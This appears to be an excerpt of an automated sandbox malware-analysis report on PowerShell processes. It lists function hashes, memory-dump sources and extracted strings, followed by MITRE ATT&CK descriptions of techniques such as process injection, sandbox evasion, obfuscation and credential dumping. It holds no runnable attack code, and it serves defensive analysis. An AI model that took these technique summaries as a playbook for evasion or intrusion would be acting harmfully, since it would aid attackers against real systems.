Opcode ID: 4e4322d533f5808cbdcd07ff061ca7a8bf042329c91707e057dd6cf65b5eeb38
Instruction ID: ec3b8d144e5de069d235a6d73cc9335f9b5adbb34b64db8dc32f382e3460ff3c
Opcode Fuzzy Hash: 4e4322d533f5808cbdcd07ff061ca7a8bf042329c91707e057dd6cf65b5eeb38
Instruction Fuzzy Hash: CD916B74A002458FCB15CF59C4949BEFBB1FF88310B258599E815AB3A6C735FC91CBA0

Function 07281BF0 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2042803501.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7280000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97b54c8f4bd20a172dcbb3022ea0a05074de39865350a6a23fa0091de64558ac
Instruction ID: 6862982d4fc2cf4d35a41a31ac1e14ee2d01ee76887d0dab7a32d04277ede895
Opcode Fuzzy Hash: 97b54c8f4bd20a172dcbb3022ea0a05074de39865350a6a23fa0091de64558ac
Instruction Fuzzy Hash: 96412AB1A2630BCFCB65AF2484017797BB2AF85204B05809ED5009F2D5D777D862C7A2

Function 04744C20 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2027881689.0000000004740000.00000040.00000800.00020000.00000000.sdmp, Offset: 04740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4740000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f88220701fd8f942f4952a722cf6e711c3bc9d3c6f9bf40b04e619ec77dfa305
Instruction ID: 8bb635ce67e6e068638345e66fbef3c4394fa71621f7b574cd3a6b22579a9f09
Opcode Fuzzy Hash: f88220701fd8f942f4952a722cf6e711c3bc9d3c6f9bf40b04e619ec77dfa305
Instruction Fuzzy Hash: DD4173749093959FCB06DF2CC8A159ABFB0AF46210B0641D7D484DB363C628EC49CBA5

Function 04742B00 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2027881689.0000000004740000.00000040.00000800.00020000.00000000.sdmp, Offset: 04740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4740000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ae169e97dbce8dba98e89330c8ea86ab9d4a000839e91766900c9f0378e576e
Instruction ID: 236b773b3705a2b14734139c475f3f5c7af0cea64f740ebaf17cec82d979a21a
Opcode Fuzzy Hash: 9ae169e97dbce8dba98e89330c8ea86ab9d4a000839e91766900c9f0378e576e
Instruction Fuzzy Hash: DF415AB4A005058FCB05CF58C5989BAFBB1FF88314B118599E815AB365C736FC91CFA0

Function 04744BD0 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2027881689.0000000004740000.00000040.00000800.00020000.00000000.sdmp, Offset: 04740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4740000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5714b70f168900745edaf416383b3f9f79a38a845f7b0a42bc2bb50d8750dce
Instruction ID: eb7d9e1ac9edd1ead153c29ac42a9c243202791c88f47c92078d45f2ee2f4dae
Opcode Fuzzy Hash: e5714b70f168900745edaf416383b3f9f79a38a845f7b0a42bc2bb50d8750dce
Instruction Fuzzy Hash: 78212A74A042458FCB05CFA8D490DAABBB1FF8A310B198599D405EB362C331FC49DBA1

Function 04744BF0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2027881689.0000000004740000.00000040.00000800.00020000.00000000.sdmp, Offset: 04740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4740000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f3b0a3bc2b9d74aec47bc93a9772f11dafdce92eab605ea808905f162c2fafa
Instruction ID: 17f4277e324a0a247daae805198ef125a7e84d44759758067a74d9f3a7d616f6
Opcode Fuzzy Hash: 1f3b0a3bc2b9d74aec47bc93a9772f11dafdce92eab605ea808905f162c2fafa
Instruction Fuzzy Hash: B7114C74A016458FCB05CF68C490AA9BBB1FF89300B198699D405AB366C731FC45DB51

Function 02C4D005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2025971833.0000000002C4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c4d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4902040aa584624f28cbd68b125bce54cd8c79f205dfdb857ce7cc4525285b6c
Instruction ID: e2f61981ffb5eb520789307680eded34d50d1338c1ff3e76e06022c8f3e2a6d0
Opcode Fuzzy Hash: 4902040aa584624f28cbd68b125bce54cd8c79f205dfdb857ce7cc4525285b6c
Instruction Fuzzy Hash: 7001526140E3C05FD7128B358894752BFB8EF43224F1DC1DBE9888F1A3C6695849C7B2

Function 02C4D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2025971833.0000000002C4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c4d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d28e6aa21741b6f0bccc86dda4e94374bafad8a31b9a2195bd6d17c8b2b48669
Instruction ID: 61d0fa050a7e5598fd97b12acb503b04e89d774eb41dbc84eb522a3c74b077c1
Opcode Fuzzy Hash: d28e6aa21741b6f0bccc86dda4e94374bafad8a31b9a2195bd6d17c8b2b48669
Instruction Fuzzy Hash: 4E01DB714093409AE7105A26CDC4767BF9CEF81364F18C52AFD4A4B146CB79E985C7F1

Non-executed Functions

Function 07280BC0 Relevance: 11.7, Strings: 9, Instructions: 436COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07280C66
tP^q, xrefs: 07281090
4'^q, xrefs: 07280C70
$^q, xrefs: 07280FF4
tP^q, xrefs: 07280DC7
tP^q, xrefs: 07280DBB
tP^q, xrefs: 07281084
4'^q, xrefs: 07280F12
4'^q, xrefs: 07280F1E

Memory Dump Source

Source File: 00000004.00000002.2042803501.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$tP^q$tP^q$tP^q$tP^q$$^q
API String ID: 0-696367261
Opcode ID: 710b0adad0c3d333b08e6069e170c6dd3108f96d45f9c4206dfc8afa84c1f984
Instruction ID: daa47314439289bc3a71de42bceb103bc2df3d1ab1c4b024b756747fa059dc99
Opcode Fuzzy Hash: 710b0adad0c3d333b08e6069e170c6dd3108f96d45f9c4206dfc8afa84c1f984
Instruction Fuzzy Hash: 5DE189B1B2634B8FC774AB688800766BBE2AF86310F14C46BD5059B2D1DB73D889C791

Function 07281270 Relevance: 9.0, Strings: 7, Instructions: 252COMMON

Download Yara Rule

Strings

$^q, xrefs: 072812A8
tP^q, xrefs: 072812F9
4'^q, xrefs: 072814D7
$^q, xrefs: 072812B4
$^q, xrefs: 07281282
4'^q, xrefs: 072814E1
tP^q, xrefs: 072812ED

Memory Dump Source

Source File: 00000004.00000002.2042803501.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q
API String ID: 0-1608119003
Opcode ID: 1222f1d475490863f802ba9cf64ed0791d10edb6bb414f14fbd34ca52148e786
Instruction ID: 199bbadc9bfae9405a977cb2f78e47f75a14be7a25637bf67f666a8dc7950226
Opcode Fuzzy Hash: 1222f1d475490863f802ba9cf64ed0791d10edb6bb414f14fbd34ca52148e786
Instruction Fuzzy Hash: F281557172521A8FC764AB68D40167BBBE2AFC1720F28846ED406CB3E5DB33D856C791

Function 07282430 Relevance: 7.9, Strings: 6, Instructions: 385COMMON

Download Yara Rule

Strings

DUk, xrefs: 0728268D
4'^q, xrefs: 072826CD
4'^q, xrefs: 072826C1
4'^q, xrefs: 0728251D
4'^q, xrefs: 07282511
Tk, xrefs: 072824DD

Memory Dump Source

Source File: 00000004.00000002.2042803501.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: Tk$4'^q$4'^q$4'^q$4'^q$DUk
API String ID: 0-3457525483
Opcode ID: 8d28a240686d30c03429a818eb5bb11e4bfa59dbfb95ac15e5eadd420835e91e
Instruction ID: d63b42761b831cb9c1279786fc9ef1312fe181b94c69a73e6ce48ed20a0f21ca
Opcode Fuzzy Hash: 8d28a240686d30c03429a818eb5bb11e4bfa59dbfb95ac15e5eadd420835e91e
Instruction Fuzzy Hash: 24D138B1B22216CFCB64EB69940466AB7E2FFC5310F14C46AD805DB395DB33D845CBA1

Function 072808A0 Relevance: 6.5, Strings: 5, Instructions: 245COMMON

Download Yara Rule

Strings

tP^q, xrefs: 07280B0C
4'^q, xrefs: 0728099E
$k, xrefs: 0728096F
4'^q, xrefs: 072809A8
tP^q, xrefs: 07280B18

Memory Dump Source

Source File: 00000004.00000002.2042803501.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$$k
API String ID: 0-3786811620
Opcode ID: c38e03e470ff0eeeaa5844fd4bf4dfa507d85413839ea0cebd438acc7c9db82f
Instruction ID: 19747a1db4c2f71855d4246cb591abcaf665bfc65baabb1c82d142e9758e8343
Opcode Fuzzy Hash: c38e03e470ff0eeeaa5844fd4bf4dfa507d85413839ea0cebd438acc7c9db82f
Instruction Fuzzy Hash: 037157B1B212078FD7B4AA68840177BBBA2AF85710F14846AD5059F3D0DB73D989C7A1

Function 072806B0 Relevance: 6.4, Strings: 5, Instructions: 173COMMON

Download Yara Rule

Strings

tP^q, xrefs: 07280739
$^q, xrefs: 072806F4
$^q, xrefs: 072806E8
tP^q, xrefs: 0728072D
$^q, xrefs: 072806C2

Memory Dump Source

Source File: 00000004.00000002.2042803501.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: tP^q$tP^q$$^q$$^q$$^q
API String ID: 0-578306960
Opcode ID: 6b34b850bb80d469e7ad3bc1eeb1f43e294596ad3dad231f4d5cbb4866a59217
Instruction ID: 8f4ff3c649c8c2f66f6914d8ba64ecf91efba3734b31e13a4be5cd60d15d4fff
Opcode Fuzzy Hash: 6b34b850bb80d469e7ad3bc1eeb1f43e294596ad3dad231f4d5cbb4866a59217
Instruction Fuzzy Hash: BB5167B27253568FD3756A699400676BBE6EFC2220F28846BD445CB3A1CA33DC49C790

Function 072834D0 Relevance: 5.2, Strings: 4, Instructions: 234COMMON

Download Yara Rule

Strings

4'^q, xrefs: 072835CE
4'^q, xrefs: 072835D8
tP^q, xrefs: 07283730
tP^q, xrefs: 07283724

Memory Dump Source

Source File: 00000004.00000002.2042803501.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q
API String ID: 0-3859475322
Opcode ID: 580c0369ae0bed0eb6743a6dda86dc35a954870d740ef7a4be57d68ce8f29743
Instruction ID: ae590405eb48df6b5ba57b0f67e4eec25cec8f1116496de071e3a80ce7177a02
Opcode Fuzzy Hash: 580c0369ae0bed0eb6743a6dda86dc35a954870d740ef7a4be57d68ce8f29743
Instruction Fuzzy Hash: 4A7178B17222168FC764EA6C980166FBBE2ABC6B10F18847ED505DB3D2DB33D841C791

Function 07283228 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$^q, xrefs: 0728323A
$^q, xrefs: 07283290
$^q, xrefs: 07283256
$^q, xrefs: 07283284

Memory Dump Source

Source File: 00000004.00000002.2042803501.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: f1481c2edb9ee7279c78a2ce9ddad9a3e43cc36eeb4be48c20c2a18802a00780
Instruction ID: 8df2385141e2c512bc699f1ce1c8d10c898d70297aed6d3052c18e96070368ee
Opcode Fuzzy Hash: f1481c2edb9ee7279c78a2ce9ddad9a3e43cc36eeb4be48c20c2a18802a00780
Instruction Fuzzy Hash: 852137717253069BD7B4A52E8801B2BBBDA5BC1F15F24842AD505CB3CBDE77CC4583A1

Function 07280308 Relevance: 5.0, Strings: 4, Instructions: 48COMMON

Download Yara Rule

Strings

4'^q, xrefs: 0728037F
$^q, xrefs: 07280352
4'^q, xrefs: 07280373
$^q, xrefs: 0728035E

Memory Dump Source

Source File: 00000004.00000002.2042803501.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: 9c9efb85c900a0c1fde187f2a60052b417ab870e44c42b2a0683f49f99db5f6a
Instruction ID: dd90c9dc8e4423c15d09ce2f249e4014888aed77f7e99958b996a288006196b7
Opcode Fuzzy Hash: 9c9efb85c900a0c1fde187f2a60052b417ab870e44c42b2a0683f49f99db5f6a
Instruction Fuzzy Hash: 7001A7217593864FC37A2664582415A2FB25FC291071945DBC081CF2A6CE6A8D4E87A6

Analysis Process: powershell.exePID: 1432, Parent PID: 6332COMMON

Executed Functions

Function 071E1518 Relevance: 5.6, Strings: 4, Instructions: 586COMMON

Download Yara Rule

Strings

4'^q, xrefs: 071E1856
4'^q, xrefs: 071E1860
4'^q, xrefs: 071E19B0
4'^q, xrefs: 071E19BA

Memory Dump Source

Source File: 00000006.00000002.2043278890.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_71e0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q
API String ID: 0-1420252700
Opcode ID: ede2d164f795eb29cc969cf2fa96f9f0a21a178eacf9504df5476c93244d8423
Instruction ID: 2d158a8dbb4f63c9f3f25568c495b579a52195f723889b2adbb2743e51a4393d
Opcode Fuzzy Hash: ede2d164f795eb29cc969cf2fa96f9f0a21a178eacf9504df5476c93244d8423
Instruction Fuzzy Hash: 4D126CB1B00319AFC7269B6C9801B6B7BAAAFC6310F15847AD406DB3D1DB31DD41D7A2

Function 046B3FA0 Relevance: .3, Instructions: 290COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2032328697.00000000046B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d26d7fc6a395b9c273b7033bf5a47f2e022c760ac82a79d86478bc10bb215a63
Instruction ID: 513bc75d9005a4cdf2e45c0771c3efa6c3aaf12f80ccc91faf6d1a5876eb5f70
Opcode Fuzzy Hash: d26d7fc6a395b9c273b7033bf5a47f2e022c760ac82a79d86478bc10bb215a63
Instruction Fuzzy Hash: 35C19B74A006099FCB05CF99C4849AEFBB1FF88310B248659E555AB366D735FC91CFA0

Function 071E14FC Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2043278890.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_71e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd583ab417e259cd0969a53480e5a3826444673fb8bc010cf73232f00ce22639
Instruction ID: 9211e9e49fc656c92224b1f4ad5bede907ccf3f4b30d08a000c316bfc2d1b793
Opcode Fuzzy Hash: fd583ab417e259cd0969a53480e5a3826444673fb8bc010cf73232f00ce22639
Instruction Fuzzy Hash: BF417FF1F0030AEFCB158F6C8902A7A7BBAAF85294F098195E8019F2D1D730D941D7A1

Function 046B419B Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2032328697.00000000046B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6b0a4bdf1677790e1f129c7967f5b409970c0b849371442e7fdf74a84463c06
Instruction ID: 41ef29dfd0159f546ebf32e6a6a235827c34936744dd21ab0024f33681670767
Opcode Fuzzy Hash: f6b0a4bdf1677790e1f129c7967f5b409970c0b849371442e7fdf74a84463c06
Instruction Fuzzy Hash: 514116B4A001058FCB09CF99C5D89AAFBB1FF48310B11865AD545AB365D736FD90CFA4

Function 046B3010 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2032328697.00000000046B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 713b373d9240323f6d086c97bcb33de28c3b006a05ab02133a220329d82656c8
Instruction ID: 8d89551398971466ee4b2a11b162b27276b1d0fc502096ce4f778f4268684f12
Opcode Fuzzy Hash: 713b373d9240323f6d086c97bcb33de28c3b006a05ab02133a220329d82656c8
Instruction Fuzzy Hash: BF215BB4B042198FCB00CF9CC4809AABBB0FF89300B148496E805EB356D735FC85CBA1

Function 046B3001 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2032328697.00000000046B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9b836335279235b4c9f8eefd51bde7606eb3d29bdc974661591e745de1da186
Instruction ID: 63a3f76fdee3c1ae767eee96611935aea370a78cc256834784384822292281a0
Opcode Fuzzy Hash: d9b836335279235b4c9f8eefd51bde7606eb3d29bdc974661591e745de1da186
Instruction Fuzzy Hash: A1214774A002098FCB00CF98D8909AABBB0FF49310B148596E809AB352C731FD81CBA1

Function 02A9D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2031536817.0000000002A9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a9d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 472dbf56ba8e84615f8eb009e8c9c1355bc3a9e369b0fe6d3c75cbda0fadf133
Instruction ID: be255f06bb4ad2355acad464a0cb1da04de794baa737e5c0d3463cc9a7f09b96
Opcode Fuzzy Hash: 472dbf56ba8e84615f8eb009e8c9c1355bc3a9e369b0fe6d3c75cbda0fadf133
Instruction Fuzzy Hash: 8601F7310087409AEF105B2ACDC4767BFE8EF41324F18C52AED0A0F246CB799881C6B1

Function 02A9D006 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2031536817.0000000002A9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a9d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e375ff6f02fb3b2a1330b427fc492f4f0f2d3e7f719cd1487a5da1775443d550
Instruction ID: 9f74b270b4bdf775070663bfbb4165a6ec729147ab87cb741ff2b779ad7dbf70
Opcode Fuzzy Hash: e375ff6f02fb3b2a1330b427fc492f4f0f2d3e7f719cd1487a5da1775443d550
Instruction Fuzzy Hash: 33015E7240E3C09FDB128B268D94B52BFB4EF52224F19C0DBD9888F293C2699844C772

Non-executed Functions

Function 071E0148 Relevance: 10.3, Strings: 8, Instructions: 320COMMON

Download Yara Rule

Strings

tP^q, xrefs: 071E0395
#k, xrefs: 071E0217
4'^q, xrefs: 071E0257
4'^q, xrefs: 071E024B
$^q, xrefs: 071E032A
$^q, xrefs: 071E035C
$^q, xrefs: 071E0350
tP^q, xrefs: 071E03A1

Memory Dump Source

Source File: 00000006.00000002.2043278890.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_71e0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$#k$$^q$$^q$$^q
API String ID: 0-2613667054
Opcode ID: e3ab4d98a9d35c0594acd230adf15147a1412e4e825ca05e8e6f6f336788fbaf
Instruction ID: 93877175c4fdcae3b34cfa1e5e28e6c7fc419148f75fe797405a5c06233aeb31
Opcode Fuzzy Hash: e3ab4d98a9d35c0594acd230adf15147a1412e4e825ca05e8e6f6f336788fbaf
Instruction Fuzzy Hash: 73A189B17047168FC7264B79980066BBBEAAFC9210B39846BE445DF3D1DB71CC45C7A1

Function 071E0DF8 Relevance: 9.2, Strings: 7, Instructions: 492COMMON

Download Yara Rule

Strings

$^q, xrefs: 071E0E0A
tP^q, xrefs: 071E0E81
$^q, xrefs: 071E0E30
tP^q, xrefs: 071E0E75
4'^q, xrefs: 071E1069
4'^q, xrefs: 071E105F
$^q, xrefs: 071E0E3C

Memory Dump Source

Source File: 00000006.00000002.2043278890.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_71e0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q
API String ID: 0-1608119003
Opcode ID: b3c41e5aefe20e9476a85ca4ce0eb2cb62a9225df6d702f6edec36033d636049
Instruction ID: c3e002570bab550bd02c656494ffb87ba950e3c77aeeea63133ea9ef3b5b1aa9
Opcode Fuzzy Hash: b3c41e5aefe20e9476a85ca4ce0eb2cb62a9225df6d702f6edec36033d636049
Instruction Fuzzy Hash: 4FF15AB2B0030ADFC7259B6998016ABBBEAAFC5310F25847AD405DB391DB32DD45C7E1

Function 071E2C10 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$^q, xrefs: 071E2C78
$^q, xrefs: 071E2C6C
$^q, xrefs: 071E2C3E
$^q, xrefs: 071E2C22

Memory Dump Source

Source File: 00000006.00000002.2043278890.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_71e0000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: bb3961fc36e606fa76fd0add774e32be0497a965a7dc98a6c4b56be7bfe9a621
Instruction ID: 644c9035fef72ba2a378bdc78ec333b63bf505b08d3819dc7ff736fa822e3292
Opcode Fuzzy Hash: bb3961fc36e606fa76fd0add774e32be0497a965a7dc98a6c4b56be7bfe9a621
Instruction Fuzzy Hash: 052137B1720A0A5BDB3D4569CC21B27BADEBBC1715F24842AA505CB3C5CF75D880C261

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
